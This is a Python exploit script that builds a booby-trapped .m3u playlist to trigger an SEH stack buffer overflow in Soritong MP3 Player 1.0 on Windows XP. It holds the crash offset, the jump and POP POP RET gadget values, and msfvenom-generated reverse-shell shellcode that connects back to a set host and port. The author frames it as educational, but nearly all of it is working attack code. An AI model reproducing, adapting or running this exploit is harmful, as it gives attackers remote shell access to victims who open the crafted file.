#!/usr/bin/env python
import struct

#----------------------------------------------------------------------------------#
# Exploit: Soritong MP3 Player 1.0 SEH Stack Buffer Overflow                       #
# OS Tested: XP PRO SP3 (Professional                                              #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   a1def037869c831496bda3d81b0d06f5-soritong10.exe                #
#----------------------------------------------------------------------------------#
# I wrote this exploit for educational purposes, in order to learn how to bypass   #
# SEH security.                                                                    #
#----------------------------------------------------------------------------------#

filename = 'rekt.m3u'

#-----------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00' EXITFUNC=process  #
#-----------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xbd\xcd\x26\xd4\x1b\xdb\xdb\xd9\x74\x24\xf4\x5e"
shellcode += "\x29\xc9\xb1\x52\x31\x6e\x12\x03\x6e\x12\x83\x0b"
shellcode += "\x22\x36\xee\x6f\xc3\x34\x11\x8f\x14\x59\x9b\x6a"
shellcode += "\x25\x59\xff\xff\x16\x69\x8b\xad\x9a\x02\xd9\x45"
shellcode += "\x28\x66\xf6\x6a\x99\xcd\x20\x45\x1a\x7d\x10\xc4"
shellcode += "\x98\x7c\x45\x26\xa0\x4e\x98\x27\xe5\xb3\x51\x75"
shellcode += "\xbe\xb8\xc4\x69\xcb\xf5\xd4\x02\x87\x18\x5d\xf7"
shellcode += "\x50\x1a\x4c\xa6\xeb\x45\x4e\x49\x3f\xfe\xc7\x51"
shellcode += "\x5c\x3b\x91\xea\x96\xb7\x20\x3a\xe7\x38\x8e\x03"
shellcode += "\xc7\xca\xce\x44\xe0\x34\xa5\xbc\x12\xc8\xbe\x7b"
shellcode += "\x68\x16\x4a\x9f\xca\xdd\xec\x7b\xea\x32\x6a\x08"
shellcode += "\xe0\xff\xf8\x56\xe5\xfe\x2d\xed\x11\x8a\xd3\x21"
shellcode += "\x90\xc8\xf7\xe5\xf8\x8b\x96\xbc\xa4\x7a\xa6\xde"
shellcode += "\x06\x22\x02\x95\xab\x37\x3f\xf4\xa3\xf4\x72\x06"
shellcode += "\x34\x93\x05\x75\x06\x3c\xbe\x11\x2a\xb5\x18\xe6"
shellcode += "\x4d\xec\xdd\x78\xb0\x0f\x1e\x51\x77\x5b\x4e\xc9"
shellcode += "\x5e\xe4\x05\x09\x5e\x31\x89\x59\xf0\xea\x6a\x09"
shellcode += "\xb0\x5a\x03\x43\x3f\x84\x33\x6c\x95\xad\xde\x97"
shellcode += "\x7e\x12\xb6\xc9\xfe\xfa\xc5\xf5\x84\x93\x40\x13"
shellcode += "\x12\x74\x05\x8c\x8b\xed\x0c\x46\x2d\xf1\x9a\x23"
shellcode += "\x6d\x79\x29\xd4\x20\x8a\x44\xc6\xd5\x7a\x13\xb4"
shellcode += "\x70\x84\x89\xd0\x1f\x17\x56\x20\x69\x04\xc1\x77"
shellcode += "\x3e\xfa\x18\x1d\xd2\xa5\xb2\x03\x2f\x33\xfc\x87"
shellcode += "\xf4\x80\x03\x06\x78\xbc\x27\x18\x44\x3d\x6c\x4c"
shellcode += "\x18\x68\x3a\x3a\xde\xc2\x8c\x94\x88\xb9\x46\x70"
shellcode += "\x4c\xf2\x58\x06\x51\xdf\x2e\xe6\xe0\xb6\x76\x19"
shellcode += "\xcc\x5e\x7f\x62\x30\xff\x80\xb9\xf0\x0f\xcb\xe3"
shellcode += "\x51\x98\x92\x76\xe0\xc5\x24\xad\x27\xf0\xa6\x47"
shellcode += "\xd8\x07\xb6\x22\xdd\x4c\x70\xdf\xaf\xdd\x15\xdf"
shellcode += "\x1c\xdd\x3f"

#----------------------------------------------------------------------------------#
# (*) Badchars = '\x00'                                                            #
#                                                                                  #
# (1) Crash to nseh 260-bytes                                                      #
# (2) nshe = '\xeb\x06\x90\x90'                                                    #
# (3) seh = '\xf8\x04\x01\x10'	pop pop ret | [Player.dll]                         #
# (4) shellcode space = 1350                                                       #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
#----------------------------------------------------------------------------------#
buffer = ''
buffer += '\x41' * 260
buffer += '\xeb\x06\x90\x90'
buffer += struct.pack('<L', 0x100104f8)
buffer += '\x90' * 20
buffer += shellcode
buffer += '\x90' * 1000

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
